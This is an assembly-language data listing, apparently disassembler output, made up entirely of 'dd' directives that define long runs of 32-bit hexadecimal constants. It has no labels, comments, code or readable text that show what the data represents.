		dd 81802249h, 967875FCh, 9F430E00h, 0BC630F0Bh,	3891760h
		dd 399420CEh, 5D0043F4h, 0DD9761C2h, 264F3E3Dh,	10098FFh
		dd 0D7B63FEEh, 7D818796h, 87A0A83Ah, 86435Ah, 819AD85Eh
		dd 491BEF94h, 24CA4415h, 4EDD07A8h, 668308C9h, 0DFFAC8A8h
		dd 893C0F8Ah, 0D7803740h, 0EE935D5Ch, 0D397912h, 61DD7801h
		dd 0B064A5ABh, 83A81729h, 0E01C2032h, 720082F4h, 0C7ECCF53h
		dd 58381165h, 1A0043F9h, 48403763h, 3318FDF5h, 0CF893BCCh
		dd 850F01EFh, 317736B7h, 6F2CE019h, 0A471E770h,	54889212h
		dd 30E38400h, 4BC8BB7h,	848CC56Bh, 0BF18A4CEh, 58127800h
		dd 97CCC866h, 0C1745C93h, 7F46F200h, 3420DCC6h,	3D00D778h
		dd 156A9423h, 74F1DB29h, 0E8F9540Eh, 824ACEh, 0BF3B6634h
		dd 6D00EB0Ch, 25F98391h, 49E72E9h, 92CA8E19h, 7EE8883Ch
		dd 0F044AD00h, 0EE83189h, 90AE5C41h, 23CDC613h,	74736B88h
		dd 884AF0E1h, 0B81E9B02h, 66AB28FFh, 0FDBE1F88h, 0B3A2809Ah
		dd 0FAB160F2h, 3A54CB0Ah, 9811F46Ch, 7B256800h,	0D52775A8h
		dd 0ED2A97EEh, 68B1A80Eh, 214E4780h, 0A2C105Dh,	5CE23EF4h
		dd 97EF05A4h, 0B47088E3h, 3854DF26h, 0EA88133Ah, 0F0002CD5h
		dd 4F59F0A1h, 0BEB900D8h, 0B43FE7B5h, 0DF1E38F8h, 9AC1456Fh
		dd 65CEB00Dh, 2F19E982h, 0A541448Ch, 0DAE12FA4h, 5C6302E8h
		dd 29805C97h, 5BE41DDh,	3707E900h, 64F2B93Eh, 934C0150h
		dd 84ACF0A6h, 102932h, 0F16DE891h, 0E669B9A4h, 8F6000E3h
		dd 0FC73D47Bh, 0E41BEB78h, 0CBB925CAh, 0B3ABD8CDh, 8F0B3C12h
		dd 44B5B400h, 0D914F2E8h, 0DB00A49Eh, 51A34182h, 699D613Ch
		dd 7093DA2Bh, 25006ABBh, 0AC17108Eh, 72F82AEh, 0FC8E8FEh
		dd 465F6027h, 0C990C952h, 0F830E74Bh, 0B13DDCA4h, 7A7F00B4h
		dd 89C92075h, 11326100h, 0FA771AE8h, 99641966h,	22D1299Fh
		dd 4C3900E0h, 4D06FD3h,	0F69CC09Eh, 77B60D47h, 436D400Ah
		dd 0DC00CCB4h, 0E8FAFE13h, 360E26DEh, 3784A40h,	51EBF844h
		dd 18D9902Dh, 18475F54h, 11B03C52h, 46729351h, 0BEA30416h
		dd 0F3075030h, 1B3B047h, 177A8EFCh, 70CDBACFh, 5638F800h
		dd 334BF86Fh, 8F0AE040h, 3DC57DB7h, 51E68F4h, 2C2589FEh
		dd 76EB8C98h, 0F26A9E0Eh, 0D8E5477Ah, 408003A9h, 0E0DC830Eh
		dd 4C5FA32h, 0CDC2E68Eh, 2E28906Ah, 2507410Ah, 0B72FA1DCh
		dd 0AB2C0E41h, 5F997840h, 75509530h, 898B6B27h,	2D0003A8h
		dd 0B39BBB04h, 44F4C260h, 2C75046Ch, 0F0D6B216h, 451B8B98h
		dd 0A8716BCEh, 138C3725h, 1C6FB0Eh, 0B9495D74h,	0D331D997h
		dd 0CF4A74C0h, 0A8316460h, 75D319h, 2084884h, 28B25ADFh
		dd 0B32FE800h, 87AC3625h, 50125C62h, 3C33FF0Ah,	50B3409Ch
		dd 9404901Dh, 4D5997B8h, 0C5658480h, 139E14D8h,	1C009C4Fh
		dd 8B4EBD33h, 0BF774BECh, 0F241B660h, 7FE8D0Fh,	2D95200Eh
		dd 89405182h, 3B980EBh,	68ABAEC7h, 2BC80026h, 0A19ACD01h
		dd 0F4B1467Eh, 3186D887h, 667D82F0h, 0B5BD1273h, 0BAC49029h
		dd 143D50ABh, 31EA8B3Eh, 561448CCh, 4FB7001Bh, 22AA0728h
		dd 4100150Ah, 1A3AEC49h, 0BCD8B2h, 606CC296h, 64D5D0CAh
		dd 28E75C02h, 687C25B8h, 913354B4h, 31690198h, 0C4C00A88h
		dd 0D0004F61h, 0A0F63570h
		dd 1D55F40Eh, 84DA46FAh, 1071872Fh, 0A60322ECh,	5D9F48E4h
		dd 0EF806C3Fh, 2116192Eh, 0B6005227h, 0B910CDFDh, 0B0BC5062h
		dd 0BA9A0010h, 169B9789h, 0F400BE33h, 0B7FF2E3Ch, 2D7DD715h
		dd 7090B6A2h, 0B90BC8E1h, 10CCA3A8h, 3E38E8A4h,	1A8058DEh
		dd 2AB092D0h, 505F2A7h,	0EAA51D0Fh, 360C0CCh, 683EA407h
		dd 13987DB4h, 0FE09633Ch, 80047338h, 49E2FAB4h,	0A5643247h
		dd 18C13461h, 501469ECh, 51C2A750h, 0D98B6445h,	0C812104Ch
		dd 2326609Ch, 30904EE4h, 0BCE52728h, 0C878D47Dh, 0CDF43E02h
		dd 404FACB8h, 0C44A2370h, 52AF9180h, 60CC18CCh,	0CB24590Eh
		dd 0F4003DE3h, 7E365F18h, 9084A803h, 0F1710010h, 5243E94Eh
		dd 7072D69h, 1029EF4h, 0C1961CA2h, 61103540h, 6304B959h
		dd 3B2CC86Dh, 30A2908Ch, 0FE28717Bh, 58005E83h,	4FEBA165h
		dd 4CDF85FDh, 531FE449h, 0AA7949D7h, 662FEC80h,	50CBBE1Eh
		dd 0F2844EFh, 0AD9C08C0h, 0EC40A4A9h, 6B09E755h, 2E37564h
		dd 91D21F00h, 0DAD48AF4h, 0A8EC4C98h, 45FCD71Ch, 8053F9FDh
		dd 0AFE4D9A0h, 5B05E5E0h, 2AB829E7h, 86236CA2h,	0D7BA3104h
		dd 491648C0h, 512E1D27h, 9F644B4Ah, 84408812h, 0B570C337h
		dd 0BF6558B6h, 46BEB4D1h, 13E7A880h, 0ADD7D4DBh, 7CAF6E88h
		dd 0F1CB044Bh, 0C07B90FFh, 694807FCh, 0B14C6C05h, 0EC01ABD8h
		dd 474BA898h, 61D275C8h, 0A08288Bh, 1647366h, 0D816CA0Eh
		dd 9AFD885Dh, 0C6B876E4h, 0C07AE841h, 2A003F7Ah, 9072A8D6h
		dd 16B45192h, 0C86378DDh, 26245B38h, 0A2007039h, 4E8F2D97h
		dd 0CC5E6018h, 555AA8B7h, 28B8D5E8h, 0D125D473h, 0CCD888B6h
		dd 0A3EA7B04h, 0B2BC78C0h, 0F3B51637h, 661C1FDFh, 0B8D900A6h
		dd 300E41E7h, 5B80D8B4h, 0A7E08B4Bh, 2ABE05D0h,	0B2CEBB2h
		dd 588132ACh, 0FCDF8087h, 6F0476FBh, 39637D1h, 8E2A8C90h
		dd 0E06580B8h, 0B6CC48C1h, 846D3279h, 1B2CB00h,	0F86D6077h
		dd 92D1EC18h, 43BC79h, 683C9465h, 0ED02D54h, 0FF1A8F00h
		dd 21A77FF8h, 47FC94BAh, 37F5E04Ch, 964C99A5h, 0C18B00B2h
		dd 8927BF18h, 1395000Dh, 0D1DC563Eh, 655024F3h,	2F3FD4E8h
		dd 836107A9h, 0C523F24Bh, 0D880B4C3h, 4D4D714h,	3359E94Ah
		dd 7F0543B4h, 4660CFBEh, 51718817h, 1428B53Ch, 8B92CC80h
		dd 0C7796370h, 40727F02h, 0E0DB6606h, 1F69ADBh,	86D4B4FBh
		dd 704CCAD0h, 0D31196F4h, 940F6ECEh, 0CC602715h, 2D2005A7h
		dd 175870B0h, 255482DCh, 12546430h, 0A5D43113h,	0E77C4C9Ch
		dd 0A820DF5Bh, 386D9446h, 8F80A02Fh, 38E4E522h,	3512CFB5h
		dd 0A8412057h, 0C955DA36h, 0F1FC032h, 7B6E40EAh, 72110B3Fh
		dd 9B873100h, 3ABC1799h, 0FA4B0EEh, 30676946h, 5749DD80h
		dd 3C02C598h, 4FC31E86h, 76B0FACFh, 59E00D4h, 3CFB47F0h
		dd 4C2D17CCh, 393C25CEh, 9429C180h, 0E5FCE967h,	0AC1F1D70h
		dd 25C28F91h, 0B05EEEC7h, 7CD5B408h, 0D2032890h, 0F3FB20F0h
		dd 0A610585Ch, 1DA74617h, 0D2160468h, 0E3AD4397h, 35B5D8D9h
		dd 0E5C051Fh, 80EB6A56h, 91349EC9h, 0B4A56324h,	0E4CB0140h
		dd 0CD8625E6h, 4CA75CAFh, 9FF4A04Eh, 92001AD8h,	2C12F05h
		dd 11EC1C55h, 0B73F77h,	0C57E6E86h, 2AFA1A7h, 0EF2EAC45h
		dd 8C685E55h, 14B943BBh, 0D249080h, 8CECAAh, 5CD9B677h
		dd 0E38BB330h, 3A4F2109h, 67B89870h, 47800F64h,	0E36EBCD4h
		dd 77C9A002h, 839A88A0h, 1D0B736Fh, 8229F482h, 0FA382554h
		dd 0E99713F0h, 42FC8935h, 0FE032D0h, 2CEE4AA0h,	0DD346748h
		dd 0B42461h, 0DB2D4A52h, 760007D5h, 4569CA63h, 7849149Ah
		dd 0C69228E6h, 6CE300D4h, 0F6598682h, 35249662h, 5D0541C5h
		dd 0AA80DF41h, 1952EC31h, 0B8DD0825h, 734EEDB9h, 687200C0h
		dd 0EC61560Dh, 472D00F5h, 0CC92A035h, 0CB3E4625h, 99AE0B08h
		dd 1EF082E2h, 0E86040FAh, 0D3C005Ah, 0F3B0D38Bh, 13266F58h
		dd 7860C4DAh, 2B0DBBh, 76C56C35h, 0CCC21C6Dh, 3F07C4B8h
		dd 6A7EDCB4h, 0B8D07F30h, 989500E4h, 68B77793h,	0CFFA99BAh
		dd 7C0ED491h, 0A57AE58Eh, 2BAB1CC2h, 6F607C00h,	0F1EA9943h
		dd 921C6400h, 689C57DCh, 0C9250761h, 7E0B2F29h,	0B09354DDh
		dd 449AE38Bh, 0D008BC1Ah, 0E797029Ch, 5CC2C523h, 7D2AAFC0h
		dd 25AC2495h, 0A6ACFB45h, 90E00344h, 0D0966851h, 1A183h
		dd 2AD5D11Eh, 7969BDA8h, 0B96D3401h, 0BBC7274Fh, 0B63A7C30h
		dd 3BBD4068h, 0CE0EBCCAh, 405578B9h, 3D44CB88h,	624B02CFh
		dd 29DEDD80h, 310044D1h, 0CD5F15CCh, 0E8B50387h, 0AAB46302h
		dd 2DC15162h, 7DCC44D1h, 0A5EC008Eh, 2283501Fh,	0FF2562Bh
		dd 0EFA8F901h, 0F7232564h, 0B6604C70h, 52480C94h, 24902EA8h
		dd 45E7C800h, 4EFFD92Ah, 24615C1Fh, 7493EB25h, 0B44515D8h
		dd 174F0505h, 0D080BAE2h, 5E0EDC2Ah, 0CDF04933h, 0BE8C3C68h
		dd 0D10D9001h, 0BFEF3BDh, 259D1B20h, 80851B55h,	6DC00A3Fh
		dd 1A82630h, 31A7D627h,	0F86820D0h, 0D5F0CF14h,	84C94AA1h
		dd 1169CCh, 856F4A29h, 56BE459Dh, 883C522Ch, 0AD600E47h
		dd 0FDCD5EFh, 0FA62506Fh, 13088813h, 79002675h,	7693B907h
		dd 94FCA3h, 9954D562h, 0B35AA0F1h, 0A1433CBEh, 0C0FEDACCh
		dd 9AA8F3h, 298C156Fh, 0F5B2E44Fh, 0E8884916h, 0E0D404D3h
		dd 258BC046h, 39FE52BBh, 0C8CA5D0Bh, 3D61CDC4h,	9100B788h
		dd 0B58DFB36h, 96902B50h, 0E3FFF0Bh, 0CD84112Eh, 2F005C3Dh
		dd 8E42670Fh, 91053527h, 0B8C817E8h, 5AFCC081h,	5CCA0C74h
		dd 0E71F5995h, 0AC330F30h, 0E2790F4Ch, 49DEE400h, 0D6B2DC3Ah
		dd 85EC2Ah, 272CE35Eh, 4663FF32h, 0A040CA4Ah, 0ED07978Bh
		dd 25BA0013h, 0AD8516A7h, 2813AB09h, 241252CBh,	271ACB2h
		dd 2F659A81h, 3D40868Fh, 0B93DAC53h, 0FC498151h, 18B5B6BAh
		dd 0C9A6D99Dh, 404F3ABh, 0A023877Ah, 0CCAF7004h, 0C3811363h
		dd 0F3D8EB8Dh, 2D4198EBh, 4A30C05Bh, 0C77CF461h, 70D62F03h
		dd 9C214EBCh, 0FE197CCCh, 5D7801CAh, 0F4C5935h,	0E580C0F5h
		dd 86644613h, 5D5C38D0h, 0C83701F2h, 4AF01415h,	2599E3B9h
		dd 308021FAh, 0C004D298h, 33C186FBh, 95D4E0B5h,	443B0065h
		dd 5C359C5Bh, 5600EEECh, 1E3D31F4h, 9A23F8h, 37E450FAh
		dd 0BC474AA3h, 12B5D512h, 3C116CA2h, 0E5A713B0h, 0C7FA0500h
		dd 0B84FBEDFh, 0DCCB0868h, 0E89F68CEh, 61196F40h, 0E6DF15Ch
		dd 0BEE3524Bh, 776237C7h, 0F5AE502h, 89165D90h,	0EDE9C878h
		dd 0BFDFC303h, 0A068A222h, 2970BEAh, 6943653Fh,	0F8FAD2C2h
		dd 0FA2F9C00h, 1F841725h, 6A330040h, 0AAD3EC7Ah, 4F0EED2Dh
		dd 0A02FCC03h, 8D27D177h, 40D890D5h, 780DE0E6h,	0CECCB474h
		dd 0B816D0E0h, 40870A6h, 24FC23C0h, 0C938C0C2h,	680D75B8h
		dd 10C36EA3h, 43830A6h,	0EC2F0ED2h, 484DCF8Ch, 893980AFh
		dd 0A74FBAB7h, 48FD2100h, 244936F2h, 0B5BF0013h, 80E30FFh
		dd 4F7096B7h, 92603902h, 0ECC25BBDh, 0B45E0FF8h, 0B054B827h
		dd 0E4936384h, 0BC012A28h, 4D2F5E48h, 18229764h, 38D95C7Dh
		dd 0F253B2C3h, 0E3FFB7B1h, 20492CE9h, 870F2A20h, 0F36D63BFh
		dd 0B023990Ah, 7C790162h, 595B00E2h, 15911E7Bh,	8099B238h
		dd 73B36F09h, 9C24B828h, 20A54494h, 1A8D42Ah, 0A0843D36h
		dd 2B18B887h, 0BC444830h, 0CB9D7163h, 40C44931h, 86054F7Ah
		dd 903B711Dh, 52AB60D8h, 900B0D7h, 0DA602288h, 5017CF26h
		dd 680F72FEh, 18202BE7h
		dd 3027550h, 379FE954h,	87F5EC86h, 0E8EF0104h, 9984404Bh
		dd 0F609EAFDh, 0F04AD4D5h, 0E8B14428h, 4C2CD3Eh, 1054BA2Ah
		dd 4D006CE2h, 2D65DB6Fh, 0F12C46F4h, 2843D0CDh,	9474881Ch
		dd 0CC632C78h, 83900015h, 0C67B0ADAh, 7F334A04h, 20C8C92Ah
		dd 0B009003Fh, 0FCD2864Dh, 0A848256Ah, 7C4C2C28h, 540E320Eh
		dd 0E69785CCh, 2A1CC0A2h, 30CA16F4h, 9F2BCDB0h,	76251700h
		dd 0D442041Bh, 1FC2E086h, 5F5A3Dh, 0D7FFAF32h, 70B0CCA8h
		dd 2049EC5Fh, 76C79C1h,	0F07BDB1Fh, 31BE5C4Ch, 0D5A5A20Bh
		dd 2F508065h, 7EA0F90h,	41264F36h, 0CD2CC2DDh, 0AF0EC450h
		dd 0A5BE5DA2h, 4C0B3325h, 0C0D012CEh, 71139Eh, 22B25CCFh
		dd 0B9672D05h, 0FE694E00h, 496C9D62h, 0FCE20226h, 0AB1CB6AFh
		dd 6740E876h, 0BC177Ch,	6BDE9C2Ah, 0B9529346h, 59813500h
		dd 0A01ADB73h, 4044B64Fh, 135ACB9Ch, 0A871E628h, 0B4A83362h
		dd 0B7EBC002h, 2D0E2E8Fh, 5C93C2E8h, 320E10E6h,	204F61DCh
		dd 0FEEFC733h, 270A002Dh, 0BF04CF48h, 860554F4h, 0BE3FDE26h
		dd 0FDF3F2C0h, 2F1576E1h, 0D090A408h, 98002D5Ch, 49C61AD0h
		dd 0B7F17Dh, 89E2A5C3h,	0FE238D0Eh, 3B30444Ch, 411D25DAh
		dd 0F1107490h, 0AA18012Ah, 8018E98Ch, 62C98117h, 39840784h
		dd 0B180F888h, 0ED80442h, 31A599CEh, 4AE8EDE1h,	0B839D2h
		dd 9FB6B9C4h, 21B33E0h,	443EA3F6h, 28C057FEh, 64275DDCh
		dd 3930189Ch, 78354D0Eh, 0E5AC438Fh, 2A26E9B0h,	0D605B099h
		dd 70883CD9h, 4C330060h, 1A25E745h, 5309CE11h, 514A44C7h
		dd 57DA0010h, 0DFBB70Fh, 8878E300h, 0D0EC54DBh,	7D831336h
		dd 7FA4B2D7h, 0BA7EC501h, 881DE921h, 0D3D468h, 232BD730h
		dd 1395673Bh, 75F8D8FCh, 47CD018Ah, 0A841F59Bh,	0C1C460FEh
		dd 0F9E76006h, 1C56DB0Fh, 0D7D431D5h, 5A98D03Ch, 734C46B2h
		dd 3658075Fh, 0DBF0D43Ah, 5D6259h, 0F1A261A7h, 7025084Fh
		dd 44870E4Ah, 40C52A10h, 64DB0B5Dh, 0F44819CAh,	0F000B032h
		dd 49A756D9h, 2E6862BAh, 1138FB1Dh, 0A9D0772h, 0D4A7F467h
		dd 0A252D393h, 12AC785Ch, 0A3B77942h, 0FECB0074h, 3B5DBB39h
		dd 4F1E28D6h, 148E0EF3h, 254ACCB5h, 0CF536090h,	0B77E17C0h
		dd 0BE0C2C50h, 0EA0007FCh, 3DFEC29Dh, 1C840A9Ah, 72522B8h
		dd 73BAA2E0h, 3125732Dh, 0F05CA0CCh, 13919904h,	90CF3E47h
		dd 0AB6F81ECh, 89AFCC00h, 0B9AE0301h, 528600F7h, 441362D5h
		dd 5909E8B4h, 46DE108h,	0DCE20A9Ch, 7A72960Eh, 27E900BDh
		dd 0FBAB1EC1h, 87E5A002h, 0C62EB8FDh, 4A934238h, 595CC8h
		dd 8C8671B9h, 8DF1B126h, 65FAF000h, 4BADA0E3h, 4D36169Bh
		dd 112C089Eh, 0EF31D483h, 10D0B552h, 0C9D2063h,	5BED2AF4h
		dd 0C912AF10h, 7C9723B3h, 0F0F1E603h, 25E2137Ah, 2CE4C292h
		dd 7B67D4Ch, 379AA1A0h,	0D410D2B0h, 176241Ah, 0FCC280A4h
		dd 2A255414h, 8B58D49Ch, 330C02F2h, 0BB463AC8h,	0EE001859h
		dd 1C90B5F7h, 7B0D00C0h, 0D654D72Ah, 0BA3F9306h, 0C42F27C9h
		dd 0FA637770h, 0B880279Dh, 0F89C0864h, 251F0A40h, 0FFF000DEh
		dd 0BBBD4918h, 0A0026AF5h, 886C42CAh, 0F8985AD2h, 3343008Dh
		dd 939E54A8h, 4E00B326h, 1B45D9B1h, 5088952Ch, 0B84190DFh
		dd 64E7006Ch, 0A1FDE475h, 3E394490h, 880209F4h,	49859EAh
		dd 0E2D9E5D1h, 0C1690040h, 193A795Ch, 96C50015h, 0C04853FCh
		dd 0A3009FA5h, 0E198B8F3h, 5B94B913h, 7B6880ABh, 0E8265F66h
		dd 0D020F053h, 9890354Ah, 6B47C3D0h, 1C585ACAh,	0C6CC3305h
		dd 2CCCEF97h, 80F89965h, 9348BD83h, 0F2F87690h,	0AAB1D10Eh
		dd 0EC7FE218h, 8DC80B9h, 695198h, 0DCABA9FDh, 0F6E0D84Fh
		dd 0F4975F13h, 842EEC88h, 0F8CA5E2Ch, 0CB3E4540h, 168B7D22h
		dd 3A6DB1h, 0E052A96h, 84124C4Eh, 7061BEF9h, 403925B8h
		dd 2C359601h, 73D41B37h, 94950248h, 60F60A32h, 12AEE3C8h
		dd 0F4D7C91Fh, 2C2708CCh, 76D8802Dh, 0F7E2ABAh,	5110C859h
		dd 0F0E256h, 5F449B97h,	38A6CFEh, 8BB7225Ch, 1B839EAh
		dd 60C05640h, 0C87831BCh, 0CC114FB5h, 3E00B0A8h, 0E43B2A96h
		dd 50292481h, 9CEC2CAFh, 612CBF3Ch, 0FF4807B4h,	0C8007B2Dh
		dd 4936AEEh, 0DA064A02h, 72F19789h, 8D40044h, 66527B15h
		dd 0A273CB25h, 0ABBD2F0Ch, 9845B05Fh, 3CDC2D2Ch, 76AE68C8h
		dd 0DF5BD001h, 8004751Dh, 0FE1E2894h, 0D7C0C06Fh, 0E305A79Ah
		dd 0F8B63CEAh, 185F4680h, 0A26CB7h, 5C97CB43h, 0D508A186h
		dd 0C399C40Eh, 1E9A0E3h, 3F69543Bh, 0D7AE6131h,	0A0058484h
		dd 4CE245h, 61AB5523h, 0EDFAF93h, 0DC37B02Ch, 654BA7A0h
		dd 0F8486D64h, 0ED4F0068h, 0FCC02826h, 0ED8172Dh, 5EF83830h
		dd 0FCE24927h, 4C4C3BCFh, 0C20CAA1Ch, 2613E36Dh, 80EF4C41h
		dd 0B85DF8E0h, 2D6BE95Eh, 98E1BC5Ah, 9FBAC0DBh,	0BD43548h
		dd 0C8360ED4h, 7945FFCh, 1B8A31C8h, 0D0B697CCh,	0B1BE0461h
		dd 57485371h, 0BF4A7014h, 7CD888h, 0B4D4284Ah, 85838D0Dh
		dd 0E7029400h, 86720B32h, 45610039h, 46EA99B8h,	3BD939Bh
		dd 0E0ABB02Ch, 556CDEh,	5DAF5B1Ch, 5354F246h, 3AEEA600h
		dd 7B39A92Ah, 252FE8Ah,	0DCFFB5C3h, 607ED7FBh, 4A796A80h
		dd 0F6B0A0DDh, 6F580041h, 0E76602Dh, 0F826E2F4h, 0BF00E8BAh
		dd 0B844AF1h, 51CAF1C6h, 0BAE8000Ch, 857657F8h,	47F04890h
		dd 3488C14Eh, 92061C5Fh, 0D03CD736h, 2B774B3Ch,	176DB600h
		dd 2A950B1Ah, 8C84004Fh, 8BA0D38Fh, 19393F25h, 94132423h
		dd 0EC315C00h, 77AEFD86h, 63361716h, 28AC629Dh,	65374C68h
		dd 0F2B94B00h, 5135402Fh, 20E24B99h, 0D8CC6A8Ch, 0EC569002h
		dd 40B3A280h, 9840C8Ch,	0E88853D9h, 803C92h, 56AA68B6h
		dd 0F487464Fh, 4AD63D80h, 80C494CFh, 46D025B1h,	0BD24862Bh
		dd 802C7488h, 10A7B81Ch, 0D5D104h, 0B7DC5D55h, 7269881Bh
		dd 3F41701h, 623BBFAFh,	0A0D77860h, 0FA03818h, 506FC3FEh
		dd 0E9BF1660h, 0CD904CEEh, 8B21F500h, 0E35AD491h, 0E54609F0h
		dd 2C00BCA4h, 9C3CD8BEh, 0E1D3480h, 0A9FC1B1Ch,	84698B80h
		dd 70006ADh, 53BE58C7h,	76359543h, 39250093h, 6B6141E4h
		dd 0D71C01A6h, 82C0B5CFh, 0B9DF92DAh, 221F0E99h, 0D61DDEE4h
		dd 34A235h, 0E3F9537Dh,	7D0D1C8Ch, 0C6270002h, 0FE4F5B9Ch
		dd 49249089h, 0DF05A847h, 0D4B367C3h, 0CC184530h, 0D44896A3h
		dd 41EC5150h, 58B46338h, 0E26E1F0h, 4640842Eh, 586694Bh
		dd 4A189FB5h, 63C88CBAh, 804CDE01h, 0CA28C881h,	329D520h
		dd 9406F409h, 0A8B8D62Dh, 0FB1F8450h, 655397B9h, 7CC03CC4h
		dd 25C6FA3Eh, 2CE8CA5Dh, 49004B6Ah, 0A2F3ED98h,	97B83Bh
		dd 0FBB3C8B1h, 40BA3D62h, 44C8164Bh, 39343D13h,	754FA787h
		dd 884C3CBh, 98F840F0h,	6B6A502h, 5693645Fh, 0EED460CCh
		dd 8BF8B81Eh, 0D1402495h, 0DFD8B4h, 0C1D4D8B7h,	142DC851h
		dd 5CCCDB2Ch, 5CADF260h, 0E8DD010Eh, 0D9556816h, 2C67BEh
		dd 0C438965Eh, 9430CE92h, 0A0C84040h, 1A024FF8h, 0BFD55552h
		dd 0CC0C168h, 84F214h, 0B794C075h, 3B78CE88h, 0FA80C7CFh
		dd 0E6231DA4h, 92121F76h, 0AC8859A5h, 0C9960039h, 4C4D7EA3h
		dd 8705A494h, 0E2AD36FBh, 0F2ECF407h, 0F42577D0h, 24B827F1h
		dd 0B51864E4h, 97B837D2h, 9C93B5EBh, 985766E8h,	0F50476F2h
		dd 0C9B78C5Ah, 0F7EE0B2h, 1FC79F99h, 2389F7C1h,	7DB8F0E3h
		dd 18D5272Ch, 8B5EBC09h
		dd 0FE7018C4h, 0D25604E1h, 0C9976322h, 93F42854h, 31F06E00h
		dd 0EE57324Dh, 0B12A3BF3h, 6564469Fh, 0F4D174A4h, 22901598h
		dd 5B052E00h, 0F4BF1066h, 5F111259h, 6864D0C9h,	3700BCB4h
		dd 7C9DD98Dh, 4C1FA85Ch, 9E014821h, 475672C4h, 0CEAC7052h
		dd 296C44h, 0EAF24513h,	93976ED3h, 25625A00h, 4F7452C9h
		dd 7C63ED6Fh, 8450C84Fh, 0B470F000h, 0B041682h,	54FA245Ch
		dd 92E182CCh, 9C7E3CF2h, 9D8CD380h, 0F054AAAh, 28B95570h
		dd 99EBFF00h, 20B4D4F0h, 0EAF01647h, 0E0FC9879h, 70FCA4D1h
		dd 4C2EFA77h, 0B024ADDAh, 2B81E90h, 380EE825h, 138304DCh
		dd 0ECB5C92Ah, 2CE7DCB4h, 4050D145h, 0CBF156EBh, 136A4200h
		dd 63A77A05h, 8C6E0024h, 0C076D6F0h, 0B14E07A6h, 0BE00C6B8h
		dd 5C7747F1h, 3412A044h, 7420CAE5h, 127F820Bh, 0B23B10D3h
		dd 322300A0h, 0D0B837D6h, 794B0041h, 0F2EAB22Ah, 435CC2FAh
		dd 32681010h, 0FEE824h,	0D713AA76h, 0BE0FE3B4h,	7F8ED340h
		dd 54E6A7h, 3443C8DEh, 2A59A0D9h, 0AECE605h, 4CD29C7Dh
		dd 80E87B88h, 6BD52050h, 0D13C10E5h, 5CCBD2Eh, 5CEB07FEh
		dd 0BDF70C0h, 1FE82D5Dh, 0C35CF8EEh, 0B53522F4h, 0B4515480h
		dd 0F207E6DCh, 388CE827h, 0D9948159h, 3400AF3Dh, 59E6B702h
		dd 8C610424h, 5030C40Ch, 2F2613E7h, 0DB4C03EFh,	3BC01F18h
		dd 1AF6B9E4h, 0AC322511h, 5327287Ch, 74882EDh, 0F290F094h
		dd 0B2CB74Bh, 29B5FBD8h, 314068F1h, 2AFFCCh, 4ACD3C20h
		dd 0CF82BE30h, 80A0CE39h, 0C5D2A1E2h, 350C359h,	4F99F3FDh
		dd 0A2B5BDFFh, 0F8303D4h, 0E20D9CAEh, 78C8804Ah, 0E2A745CCh
		dd 12FB771Dh, 8C2D25B6h, 49045CCCh, 0D7C92927h,	0B90024ADh
		dd 663860BEh, 0E91DA2C1h, 4A9239BBh, 153E1430h,	148747Dh
		dd 94B21EF3h, 30194E16h, 9496373Ch, 7FA8C240h, 63AC9089h
		dd 382598E8h, 909521C6h, 9BEE8Ch, 0EC29BB7Ch, 8BE307E1h
		dd 854CBE00h, 9CF34AFCh, 0BFE00Eh, 9521624Eh, 8EF7B4D8h
		dd 0A8A68C12h, 0B1006CE2h, 0F78C42Fh, 2501E9AFh, 0FAEC3931h
		dd 132F275Dh, 0E44B268h, 412B52F0h, 3598D083h, 0D3C3C0h
		dd 41A663C9h, 6B1D4932h, 0AFD7A227h, 0FFE32004h, 58608Eh
		dd 0EC20A199h, 85EBB611h, 4EDC691Fh, 0D8D34Bh, 0CD2A5BA0h
		dd 27A21FA0h, 0F18B409Eh, 8A73EBDh, 87504D3Dh, 0C4431E04h
		dd 0E64C30DCh, 8C245EFFh, 6745CEA8h, 0ACEFE4h, 87C58A3Dh
		dd 4922B4B6h, 69B74600h, 0A30781DFh, 0D8380102h, 93B8AC01h
		dd 0F10C2042h, 8B84F748h, 0B6E86436h, 751580FCh, 0B8490538h
		dd 0D34E1E00h, 0E58810C6h, 2039D708h, 15890E54h, 4A1FB500h
		dd 78BA3314h, 6A5000A9h, 0AF6CBE67h, 0BC91ED97h, 3CF1CC16h
		dd 41D0007Bh, 9745B779h, 0ECD3630Ah, 0B60C4BCh,	7A531Eh
		dd 7C9EFBCFh, 8742381Fh, 173C6100h, 3C20A55h, 884927BBh
		dd 887E6892h, 9329AB40h, 64C00086h, 0C1C32F4Bh,	53DC952h
		dd 967E8058h, 3E718FE7h, 0E0D57154h, 6C4E011Fh,	6052F59Fh
		dd 60207F06h, 42397Bh, 12B93658h, 3F09A3F6h, 503D158h
		dd 48BCAEE4h, 0F21CE88Ch, 37BE0353h, 0F2D7F7A0h, 6D5B6097h
		dd 4A58D429h, 0E1744458h, 54C67200h, 0FDE36028h, 0A2943FAAh
		dd 7E647C7Ah, 2EFC0066h, 0DE4561B4h, 0CC0F2FD4h, 9DDF31Fh
		dd 0B81493CAh, 70F15107h, 782E01EAh, 0EFFF1AD1h, 0EC39FD6Dh
		dd 6C029EA5h, 0EC2FA17Ah, 294741E8h, 0A0002862h, 3E255A83h
		dd 4D01BBD5h, 1450BE55h, 9020282Bh, 80E093Ch, 0E090CCB0h
		dd 1100E487h, 0D84F8BE1h, 906768ADh, 0D25A2558h, 41C7D468h
		dd 2115D00h, 2227E41Eh,	6F9C00A1h, 3C29EE90h, 8B079847h
		dd 251DA2A5h, 0A980889Ah, 4F2851BDh, 9DBAB014h,	37453081h
		dd 80003EDAh, 0B5E50519h, 8C31DE2Fh, 0CDD8ABB9h, 72FCC801h
		dd 8040694Bh, 2F199D0h,	0D6BAE125h, 3CC107CFh, 7F3BE1C5h
		dd 4A0C09h, 1F9FCB44h, 244EF088h, 4CCB734h, 0C2E160E0h
		dd 94F0D430h, 90BF017Dh, 1DB54268h, 4F32B890h, 5D007AD3h
		dd 650D4373h, 0FF8E6E00h, 9D754EA3h, 616374B2h,	344770F4h
		dd 0E3206091h, 10071CB0h, 5A4DD704h, 1C87D0E1h,	306396E4h
		dd 496989B4h, 5F16E2D1h, 0C30375Ah, 0F05B0Fh, 0D063827Ch
		dd 869B85B8h, 19D1C100h, 0FF43ECBBh, 0ABB62F59h, 0BD1634E4h
		dd 0D601F42Ch, 5A85E15Eh, 6A41FCh, 13C7CF2h, 80BC3AFh
		dd 62E667Ah, 420C9C6Dh,	655BB85Ch, 47530863h, 41152498h
		dd 0C5FAB231h, 0FF99FCACh, 0B5A7811Dh, 2F00D71Dh, 2A91BDCDh
